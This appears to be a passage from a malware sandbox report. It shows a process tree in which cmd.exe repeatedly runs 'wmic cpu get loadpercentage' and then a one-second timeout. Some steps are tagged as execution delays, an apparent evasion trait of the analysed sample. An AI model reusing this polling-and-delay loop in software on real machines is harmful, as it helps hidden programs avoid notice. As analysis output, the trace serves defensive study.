C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1852
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2320
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4652
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2536
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1744
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3848
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1592
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2840
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5100
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2260
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3148
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1000
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4468
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1256
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1572
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3964
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2284
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2152
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3500
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:240
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4184
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4632
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1736
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3860
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4304
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3324
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:400
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4160
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2156
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4952
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4616
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2448
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4480
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2444
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4672
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1592
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3124
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3644
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4664
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4800
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1572
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3700
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2284
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4760
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:60
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2772
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2664
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3908
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2192
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4876
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:808
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3324
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:596
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4140
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:348
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:700
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3788
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2828
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1184
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4000
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4308
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2140
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1996
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1000
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:684
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1256
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4800
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2256
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1572
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2152
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1872
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4612
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4632
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3616
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4692
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2748
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1908
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2032
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2792
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4180
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:700
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:528
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1744
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4788
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3988
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4680
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4484
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2444
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:812
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3836
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1848
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3092
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3356
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2524
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2600
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3644
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:684
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2104
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4760
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:760
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2284
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3456
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2776
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3828
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1872
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3480
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3908
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4596
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4356
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2148
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3504
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2252
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4236
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1224
-
-
